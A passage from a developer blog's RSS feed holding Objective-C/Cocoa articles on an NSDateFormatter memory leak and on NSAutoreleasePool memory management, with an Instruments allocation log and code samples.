<p><em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" />
<div style="clear: both;"><!-- reset --></div>
<p></em></p>
<h2>3. Instruments log<br />
</h2>
<p>Here is the allocation log for the first 3 of the 8618 objects, allocated all at once by a single invocation to dateFromString. Without going into too much details, suffice it to say that I used &#8220;Created &#038; Still Living&#8221; option in &#8220;Allocation Lifespan&#8221;, and that the &#8220;Extended Detail&#8221; view in Instruments shows that all those objects are created back to back as the result of the CoreFoundation CFDateFormatterGetAbsoluteTimeFromString method.</p>
<pre class="wp-code-highlight prettyprint">&lt;span style=&quot;color: #888888;&quot;&gt;

&lt;table border=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;#&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Address&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Category&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Time&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Size&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Library&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Caller&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2280&lt;/td&gt;
&lt;td&gt;0xa20be00&lt;/td&gt;
&lt;td&gt;GeneralBlock-32&lt;/td&gt;
&lt;td&gt;01:07.742&lt;/td&gt;
&lt;td&gt;32&lt;/td&gt;
&lt;td&gt;Foundation&lt;/td&gt;
&lt;td&gt;-[NSDateFormatter getObjectValue:forString:range:error:]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2281&lt;/td&gt;
&lt;td&gt;0xa219670&lt;/td&gt;
&lt;td&gt;GeneralBlock-176&lt;/td&gt;
&lt;td&gt;01:07.833&lt;/td&gt;
&lt;td&gt;176&lt;/td&gt;
&lt;td&gt;Foundation&lt;/td&gt;
&lt;td&gt;-[NSDateFormatter getObjectValue:forString:range:error:]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2282&lt;/td&gt;
&lt;td&gt;0xa298db0&lt;/td&gt;
&lt;td&gt;GeneralBlock-48&lt;/td&gt;
&lt;td&gt;01:07.833&lt;/td&gt;
&lt;td&gt;48&lt;/td&gt;
&lt;td&gt;Foundation&lt;/td&gt;
&lt;td&gt;-[NSDateFormatter getObjectValue:forString:range:error:]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/span&gt;</pre>
<p><em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" />
<div style="clear: both;"><!-- reset --></div>
<p></em></p>
<h2>4. All 8618 Objects<br />
</h2>
<h3>The <a title="Instruments Log" href="http://thegothicparty.com/dev/wp-content/extras/instruments-log.html" target="_blank">entire log</a> (8618 entries) can be viewed <a title="Instruments Log" href="http://thegothicparty.com/dev/wp-content/extras/instruments-log.html" target="_blank">here</a>.</h3>
<p><em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" />
<div style="clear: both;"><!-- reset --></div>
<p></em></p>
<h2>5. Conclusion</h2>
<p>The StackOverflow.com positively isolates the problem and the workaround. Do not use setDateFormat:@&#8221;EEE, d MMM yyyy HH:mm:ss <span style="color: #ff0000;">z</span>&#8220;, unless you are willing to loose 868 Kb for the rest of the lifetime of the application. The alternative is to not use the time zone which is, I agree, a pain: setDateFormat:@&#8221;EEE, d MMM yyyy HH:mm:ss&#8221;.</p>
<p>A possible approach is to test the string against &#8221; GMT&#8221;, and to only invoke &#8220;z&#8221; when not in GMT:<br />
<span style="color: #808080;"><code><br />
NSDateFormatter *dateFormatter = [[NSDateFormatter alloc] init];<br />
[dateFormatter setTimeZone:[NSTimeZone timeZoneWithName:@"GMT"]];<br />
if( ![string hasSuffix:@" GMT"]) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;// If the string is not GMT, we must use time zone <img src='http://thegothicparty.com/dev/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' /><br />
&nbsp;&nbsp;&nbsp;&nbsp;[dateFormatter setDateFormat:@"EEE, d MMM yyyy HH:mm:ss z"];<br />
} else {<br />
&nbsp;&nbsp;&nbsp;&nbsp;[dateFormatter setDateFormat:@"EEE, d MMM yyyy HH:mm:ss"];<br />
}<br />
</code></span></p>
<p>As of today&#8217;s date iPhone GB cost, your user either $0.005 or $0.01, depending on which device she or he bought.</p>
<p><em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" />
<div style="clear: both;"><!-- reset --></div>
<p></em></p>
<h2>6. External Links</h2>
<ul>
<li>stackoverflow.com<br />
<a href="http://stackoverflow.com/questions/1117263/instruments-leaks-and-nsdateformatter">http://stackoverflow.com/questions/1117263/instruments-leaks-and-nsdateformatter</a>
</li>
<li>
Developer.apple.com<br />
Your tracking number for this issue is Bug ID# <a href="https://bugreport.apple.com/cgi-bin/WebObjects/RadarWeb.woa/92/wo/3EQvovmScvH9F84H22jHSw/11.56">7745113</a></li>
</ul>
<p><em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="3" />
<div style="clear: both;"><!-- reset --></div>
<p></em></p>
<div style="clear: both;"><!-- reset --></div>
<p><em> </em></p>
<p><script src="http://widgets.digg.com/buttons.js" type="text/javascript"></script></p>
<p><a onclick="window.open('http://delicious.com/save?v=5&amp;noui&amp;jump=close&amp;url=thegothicparty.com%2Fdev%2Fiphone%2Fnsdateformatter-memory-leak&amp;title=NSDateFormatter+memory+leak', 'delicious', 'toolbar=no,width=550,height=550'); return false;" href="http://delicious.com/save"><img style="border: 0pt none;" src="http://www.delicious.com/static/img/delicious.small.gif" alt="Delicious" width="16" height="16" />Bookmark this on Delicious</a></p>
<p><a class="DiggThisButton DiggCompact" rev="news, programming" href="http://digg.com/submit?url=http%3A%2F%2Fthegothicparty.com%2Fdev%2Fiphone%2Fnsdateformatter-memory-leak&amp;title=NSDateFormatter+memory+leak"></a></p>
]]></content:encoded>
			<wfw:commentRss>http://thegothicparty.com/dev/article/nsdateformatter-memory-leak/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Drowning in NSAutoreleasePool</title>
		<link>http://thegothicparty.com/dev/article/nsautoreleasepool/</link>
		<comments>http://thegothicparty.com/dev/article/nsautoreleasepool/#comments</comments>
		<pubDate>Sun, 15 Nov 2009 19:37:14 +0000</pubDate>
		<dc:creator>dev</dc:creator>
				<category><![CDATA[OS Development]]></category>
		<category><![CDATA[Tech Articles]]></category>

		<guid isPermaLink="false">http://thegothicparty.com/dev/?p=189</guid>
		<description><![CDATA[When developing in Cocoa for Mac OS X or for iPhone, it is easy to overlook objects that are dropped in the current NSAutoreleasePool, ultimately leading to a crash. The following article applies to the use of NSAutoreleasePool when garbage collection is not enabled. Summary Preventing over-release [ -retain &#38; -release] vs. [ -autorelease] Circumventing [...]]]></description>
			<content:encoded><![CDATA[<p>When developing in Cocoa for Mac OS X or for iPhone, it is easy to overlook objects that are dropped in the current NSAutoreleasePool, ultimately leading to a crash. The following article applies to the use of NSAutoreleasePool when garbage collection is not enabled.</p>
<p><span id="more-189"></span></p>
<p>Summary</p>
<ol>
<li>Preventing over-release</li>
<li>[ -retain &amp; -release] vs. [ -autorelease]</li>
<li>Circumventing -autorelease</li>
<li>NSAutoreleasePool is a stack object</li>
<li>NSAutoreleasePool pseudo-code</li>
<li>[pool release] vs. [pool drain]</li>
<li>External links</li>
</ol>
<p><em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /><br />
</em></p>
<p><em> </em></p>
<div style="clear: both;"><!-- reset --></div>
<h2>1. Preventing over-release</h2>
<p>There seem to be some unpredictable stability behavior with objects that are released more than once (objects for which the -retainCount drops below 1). At times, some objects sent too many [ release ] will fail silently, whereas occasionally the host application will crash.</p>
<p>An application must balance the number of -retain and -release sent to a NSObject.</p>
<pre class="wp-code-highlight prettyprint">&lt;code&gt;SomeObject * myObj = [[SomeObject &lt;span style=&quot;color: #333399;&quot;&gt;alloc&lt;/span&gt;] &lt;span style=&quot;color: #333399;&quot;&gt;init&lt;/span&gt;];
...
[myObj &lt;span style=&quot;color: #333399;&quot;&gt;release&lt;/span&gt;];&lt;/code&gt;</pre>
<p>To a certain extent, it would be better if over-release would never crash (akin to [ nil release ]) or always crash, thus not hiding bugs during the development stage. The combination of NSZombie and malloc_history is a wonderful tool to debug over-releasing. Read &#8220;Debugging Autorelease&#8221; on CocoaDev:<br />
<a title="DebuggingAutorelease" href="http://www.cocoadev.com/index.pl?DebuggingAutorelease">http://www.cocoadev.com/index.pl?DebuggingAutorelease</a><br />
<em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /><br />
</em></p>
<p><em> </em></p>
<div style="clear: both;"><!-- reset --></div>
<h2>2. [ -retain &amp; -release] vs. [ -autorelease]</h2>
<p>Sending -autorelease to an object allows to literally forget about it. [ someObject -autorelease] ensures that someObject with a -retainCount of 1 will remain retained for the life of the NSAutoreleasePool it belongs to, and will receive a -release message when such pool receives -drain or -release. Generally, the question is &#8220;Which NSAutoreleasePool ?&#8221;. While the answer is &#8220;The most nested one, Sir.&#8221;, not knowing may lead to surprising behaviors. A defensive approach may be to only create only one NSAutoreleasePool for the entire duration of the application, but this is certainly a costly and rarely practical answer.</p>
<p>-autorelease, contrarily to -release, can be invoked more than once without ill effects.</p>
<p>For some reason, once an object received the -autorelease message, the operation cannot be undone. There is no -unautorelease message. Nor is there a way to tell the NSAutoreleasePool to just forget about that object.</p>
<p>This can lead to the following situations:</p>
<ol>
<li>Preventing to save/release memory occupied by a given object</li>
<li>Preventing to delete that object at all before deleting the NSAutoreleasePool (sending one-too-many -release will cause the NSAutoreleasePool to send a -release to an already deallocated object, and crash)</li>
<li>Preventing the deletion of a given NSAutoreleasePool, since one cannot know what&#8217;s in it.</li>
</ol>
<p>Following design patterns while being aware of these limitations is generally not a problem. A suggested approach is to use small scopes with local NSAutoreleasePool any time granularity can be achieved. In Cocoa, Threads do just that.</p>
<pre class="wp-code-highlight prettyprint">&lt;code&gt;{
&lt;span style=&quot;color: #800080;&quot;&gt;    NSAutoreleasePool&lt;/span&gt; * pool = [[&lt;span style=&quot;color: #800080;&quot;&gt;NSAutoreleasePool&lt;/span&gt; &lt;span style=&quot;color: #333399;&quot;&gt;alloc&lt;/span&gt;] &lt;span style=&quot;color: #333399;&quot;&gt;init&lt;/span&gt;];
    SomeObject * myObj = [[SomeObject &lt;span style=&quot;color: #333399;&quot;&gt;alloc&lt;/span&gt;] &lt;span style=&quot;color: #333399;&quot;&gt;init&lt;/span&gt;];
    [myObj &lt;span style=&quot;color: #333399;&quot;&gt;autorelease&lt;/span&gt;]; &lt;span style=&quot;color: #008000;&quot;&gt;// No need to remember about that object&lt;/span&gt;
    ...
    [pool &lt;span style=&quot;color: #333399;&quot;&gt;drain&lt;/span&gt;];
}&lt;/code&gt;</pre>
<p><em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /><br />
</em></p>
<p><em> </em></p>
<div style="clear: both;"><!-- reset --></div>
<h2>3. Circumventing -autorelease</h2>
<p>Unfortunately, some Cocoa routines will, without a choice, drop objects it creates in the current NSAutoreleasePool.<br />
Example:</p>
<pre class="wp-code-highlight prettyprint">&lt;code&gt;&lt;span style=&quot;color: #800080;&quot;&gt;UIImage&lt;/span&gt; * newImage = [&lt;span style=&quot;color: #800080;&quot;&gt;UIImage&lt;/span&gt; &lt;span style=&quot;color: #333399;&quot;&gt;imageWithCGImage&lt;/span&gt;:some_CGImageRef];&lt;/code&gt;</pre>
<p>As a result, the caller has little or no control of when the new object will be destroyed. It will likely be deallocated when the NSAutoreleasePool to which it belongs is deallocated, which is generally not predictable.</p>
<p>The NSAutoreleasePool seems to be nothing more than a linked list which sends a -release message to all objects it contains (regardless of their state) upon drain. In a managed memory environment, the pseudo-code of NSAutoreleasePool -drain could be simplified like this:</p>
<pre class="wp-code-highlight prettyprint">&lt;code&gt;-(&lt;span style=&quot;color: #800080;&quot;&gt;void&lt;/span&gt;) drain {
    [autoreleasePool &lt;span style=&quot;color: #333399;&quot;&gt;release&lt;/span&gt;];
}
&lt;/code&gt;</pre>
<p>Objects that for which the -retainCount is greater than 1 after the -drain will thus not be released. One can take an object out of a pool by retaining it, then releasing the pool entirely. Such object will be effectively removed from the NSAutoreleasePool.<br />
Example:</p>
<pre class="wp-code-highlight prettyprint">&lt;code&gt;&lt;span style=&quot;color: #800080;&quot;&gt;UIImage&lt;/span&gt; * newImage = &lt;span style=&quot;color: #800080;&quot;&gt;nil&lt;/span&gt;;
{
&lt;span style=&quot;color: #800080;&quot;&gt;    NSAutoreleasePool&lt;/span&gt; * pool = [[&lt;span style=&quot;color: #800080;&quot;&gt;NSAutoreleasePool&lt;/span&gt; &lt;span style=&quot;color: #333399;&quot;&gt;alloc&lt;/span&gt;] &lt;span style=&quot;color: #333399;&quot;&gt;init&lt;/span&gt;];
    newImage = [[&lt;span style=&quot;color: #800080;&quot;&gt;UIImage&lt;/span&gt; &lt;span style=&quot;color: #333399;&quot;&gt;imageWithCGImage&lt;/span&gt;:some_CGImageRef] &lt;span style=&quot;color: #333399;&quot;&gt;retain&lt;/span&gt;];
    [pool &lt;span style=&quot;color: #333399;&quot;&gt;drain&lt;/span&gt;];
}
&lt;span style=&quot;color: #008000;&quot;&gt;// The  newImage* is now outside of the pool, and retained normally&lt;/span&gt;&lt;/code&gt;</pre>
<p>An example of this technique can be found on Björn Sållarp&#8217;s article &#8220;UIImage with round corners&#8221;:<br />
<a title="UIImage with round corners" href="http://blog.sallarp.com/iphone-uiimage-round-corners">http://blog.sallarp.com/iphone-uiimage-round-corners</a></p>
<p>Note that in the example above, a special scope has been declared around the NSAutoreleasePool creation and destruction. This is good practice since the pool is actually a stack object, and must be created and released in the same { }. Please read on.</p>
<p><em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /><br />
</em></p>
<p><em> </em></p>
<div style="clear: both;"><!-- reset --></div>
<h2>4. NSAutoreleasePool is a stack object</h2>
<p>By nature, an NSAutoreleasePool instance is stored on the stack (as opposed to the heap). As a direct consequence, the scope of these pools, and ultimately of the objects they reference, are tightly coupled with the methods that created them. Even though the pools (just like the invocation of methods) are nested, there is no virtual stack of NSAutorelease pools.</p>
<p>As the method that created a given pool goes out of scope, so does that very pool, and all the objects referenced by it will receive a single -release message. For an object to survive a pool drain, it must be explicitly retained. See paragraph 3, Circumventing -Autorelease.</p>
<p>Being a stack object also makes it <span style="text-decoration: underline;">illegal</span> to create an NSAutoreleasePool instance in a method, and to release it in another. This reason alone can serve as a good motivation for creating small, local and  nested NSAutoreleasePool rather than one gigantic one for the life of the Thread.</p>
<p><em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /><br />
</em></p>
<p><em> </em></p>
<div style="clear: both;"><!-- reset --></div>
<h2>5. NSAutoreleasePool pseudo-code</h2>
<p>In a managed memory environment, the NSAutoreleasePool acts pretty much like a NSArray. The pool maintains strong references to its content. Objects added to the pool receive a -retain message.</p>
<h3>Possible pseudo-code for NSAutoreleasePool</h3>
<pre class="wp-code-highlight prettyprint">&lt;code&gt;
&lt;span style=&quot;color: #008000;&quot;&gt; // .h&lt;/span&gt;
&lt;span style=&quot;color: #800080;&quot;&gt;@interface&lt;/span&gt; NSAutoreleasePool2 : NSObject {
&lt;span style=&quot;color: #800080;&quot;&gt;@private&lt;/span&gt;
&lt;span style=&quot;color: #800080;&quot;&gt;    NSMutableArray&lt;/span&gt; * autoreleasePool;
}
-(&lt;span style=&quot;color: #800080;&quot;&gt;void&lt;/span&gt;) drain;
-(&lt;span style=&quot;color: #800080;&quot;&gt;void&lt;/span&gt;) addObject:(&lt;span style=&quot;color: #800080;&quot;&gt;id&lt;/span&gt;)anObject;
-(&lt;span style=&quot;color: #800080;&quot;&gt;id&lt;/span&gt;) autoreleaseObject:(&lt;span style=&quot;color: #800080;&quot;&gt;id&lt;/span&gt;)anObject;
&lt;span style=&quot;color: #800080;&quot;&gt;@end&lt;/span&gt;

&lt;span style=&quot;color: #008000;&quot;&gt;// .m&lt;/span&gt;
&lt;span style=&quot;color: #800080;&quot;&gt;@implementation&lt;/span&gt; NSAutoreleasePool2
-(&lt;span style=&quot;color: #800080;&quot;&gt;id&lt;/span&gt;)init {
&lt;span style=&quot;color: #800080;&quot;&gt;    if&lt;/span&gt; ((&lt;span style=&quot;color: #800080;&quot;&gt;self&lt;/span&gt; = [&lt;span style=&quot;color: #800080;&quot;&gt;super&lt;/span&gt; &lt;span style=&quot;color: #333399;&quot;&gt;init&lt;/span&gt;] ) != &lt;span style=&quot;color: #800080;&quot;&gt;nil&lt;/span&gt; ) {
        autoreleasePool = [[&lt;span style=&quot;color: #800080;&quot;&gt;NSMutableArray&lt;/span&gt; &lt;span style=&quot;color: #333399;&quot;&gt;alloc&lt;/span&gt;] &lt;span style=&quot;color: #333399;&quot;&gt;init&lt;/span&gt;];
    }
&lt;span style=&quot;color: #800080;&quot;&gt;    return&lt;/span&gt; &lt;span style=&quot;color: #800080;&quot;&gt;self&lt;/span&gt;;
}
-(&lt;span style=&quot;color: #800080;&quot;&gt;void&lt;/span&gt;) dealloc {
    [&lt;span style=&quot;color: #800080;&quot;&gt;self&lt;/span&gt; &lt;span style=&quot;color: #333399;&quot;&gt;drain&lt;/span&gt;];
    [&lt;span style=&quot;color: #800080;&quot;&gt;super&lt;/span&gt; &lt;span style=&quot;color: #333399;&quot;&gt;dealloc&lt;/span&gt;];
}
-(&lt;span style=&quot;color: #800080;&quot;&gt;void&lt;/span&gt;) drain {
    [autoreleasePool &lt;span style=&quot;color: #333399;&quot;&gt;release&lt;/span&gt;];
}
-(&lt;span style=&quot;color: #800080;&quot;&gt;void&lt;/span&gt;) addObject:(&lt;span style=&quot;color: #800080;&quot;&gt;id&lt;/span&gt;)anObject {
    [autoreleasePool &lt;span style=&quot;color: #333399;&quot;&gt;addObjec&lt;/span&gt;t:anObject];
}
-(&lt;span style=&quot;color: #800080;&quot;&gt;id&lt;/span&gt;) autoreleaseObject:(&lt;span style=&quot;color: #800080;&quot;&gt;id&lt;/span&gt;)anObject {
&lt;span style=&quot;color: #800080;&quot;&gt;    if&lt;/span&gt;( ! [autoreleasePool &lt;span style=&quot;color: #333399;&quot;&gt;containsObject&lt;/span&gt;:anObject]) {
        [&lt;span style=&quot;color: #800080;&quot;&gt;self&lt;/span&gt; &lt;span style=&quot;color: #333399;&quot;&gt;addObject&lt;/span&gt;:anObject];
    }
&lt;span style=&quot;color: #800080;&quot;&gt;    return&lt;/span&gt; anObject;
}
&lt;span style=&quot;color: #800080;&quot;&gt;@end&lt;/span&gt;
&lt;/code&gt;</pre>
<h3>Discussion</h3>
<p>This is pseudo-code, not actual NSAutoreleasePool source code.<br />
Objects <span style="text-decoration: underline;">must</span> be added explicitly to this pool (using [pool <span style="color: #000000;">autoreleaseObject</span>:someObject ]; instead of [someObject autorelease];)<br />
-autoreleaseObject is lenient, and will not penalize objects added more than once.<br />
-addObject is strict ; objects added more than once will receive -release more than once.<br />
-drain and -release do not have the same behavior. This pseudo-code expects an invocation to [pool release ] rather than [pool drain ] to free the NSAutoReleasePool2.<br />
<em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /><br />
</em></p>
<p><em> </em></p>
<div style="clear: both;"><!-- reset --></div>
<h2>6. [pool release] vs. [pool drain]</h2>
<p>In a reference-counted environment sending -release or -drain to a NSAutoreleasePool has the same effect.</p>
<p>In a garbage-collection environment, without NSAutoreleasePool, -release has no effect while -drain triggers garbage collection. For this reason, the developer documentation explicitly recommends using  -drain, since it has a meaning in both management models, even on iPhone.</p>
<p>Read more about NSAutoreleasePool -drain on Apple&#8217;s developer site:<br />
<a title="NSAutoreleasePool Class Reference" href="http://developer.apple.com/mac/library/documentation/cocoa/reference/Foundation/Classes/NSAutoreleasePool_Class/Reference/Reference.html">http://developer.apple.com/mac/library/documentation/cocoa/reference/Foundation/Classes/NSAutoreleasePool_Class/Reference/Reference.html</a><br />
<em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" /><br />
</em></p>
<p><em> </em></p>
<div style="clear: both;"><!-- reset --></div>
<h2>7. External links</h2>
<ul>
<li><a title="DebuggingAutorelease" href="http://www.cocoadev.com/index.pl?DebuggingAutorelease">http://www.cocoadev.com/index.pl?DebuggingAutorelease</a></li>
<li><a title="UIImage with round corners" href="http://blog.sallarp.com/iphone-uiimage-round-corners/">http://blog.sallarp.com/iphone-uiimage-round-corners/</a></li>
<li><a title="NSAutoreleasePool Class Reference" href="http://developer.apple.com/mac/library/documentation/cocoa/reference/Foundation/Classes/NSAutoreleasePool_Class/Reference/Reference.html">http://developer.apple.com/&#8230;/NSAutoreleasePool_Class/&#8230;</a></li>
</ul>
<p><em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="3" /><br />
</em></p>
<p><em> </em></p>
<div style="clear: both;"><!-- reset --></div>
<p><script src="http://widgets.digg.com/buttons.js" type="text/javascript"></script></p>
<p><a onclick="window.open('http://delicious.com/save?v=5&amp;noui&amp;jump=close&amp;url=thegothicparty.com%2Fdev%2Fmacos%2Fnsautoreleasepool&amp;title=Drowning+in+NSAutoreleasePool', 'delicious', 'toolbar=no,width=550,height=550'); return false;" href="http://delicious.com/save"><img style="border: 0pt none;" src="http://www.delicious.com/static/img/delicious.small.gif" alt="Delicious" width="16" height="16" />Bookmark this on Delicious</a></p>
<p><a class="DiggThisButton DiggCompact" rev="news, programming" href="http://digg.com/submit?url=http%3A%2F%2Fthegothicparty.com%2Fdev%2Fmacos%2Fnsautoreleasepool&amp;title=Drowning+in+NSAutoreleasePool"></a></p>
]]></content:encoded>
			<wfw:commentRss>http://thegothicparty.com/dev/article/nsautoreleasepool/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>NSLog(@&#8221;Hello world!&#8221;);</title>
		<link>http://thegothicparty.com/dev/article/hello-world/</link>
		<comments>http://thegothicparty.com/dev/article/hello-world/#comments</comments>
		<pubDate>Fri, 02 Jan 2009 04:26:52 +0000</pubDate>
		<dc:creator>dev</dc:creator>
				<category><![CDATA[Tech Articles]]></category>

		<guid isPermaLink="false">http://thegothicparty.com/dev/?p=1</guid>
		<description><![CDATA[Welcome to TheGothicParty.com/dev. Mission Statement: Post software development insights as I come across them.]]></description>
			<content:encoded><![CDATA[<p>Welcome to <code>TheGothicParty.com/dev</code>.</p>
<p><strong>Mission Statement</strong>:<br />
Post software development insights as I come across them.<br />
<a href="http://www.paperblog.fr/" rel="paperblog goth" title="Paperblog : Les meilleurs articles issus des blogs" ><img src="http://media.paperblog.fr/assets/images/logos/minilogo.png" border="0" alt="Paperblog" /></a><br />
<em><img class="size-full wp-image-335 alignleft" style="border: 0pt none;" title="orangewhite" src="http://thegothicparty.com/dev/wp-content/uploads/2010/03/orangewhite.png" alt="" width="500" height="1" />
<div style="clear: both;"><!-- reset --></div>
<p></em></p>
]]></content:encoded>
			<wfw:commentRss>http://thegothicparty.com/dev/article/hello-world/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

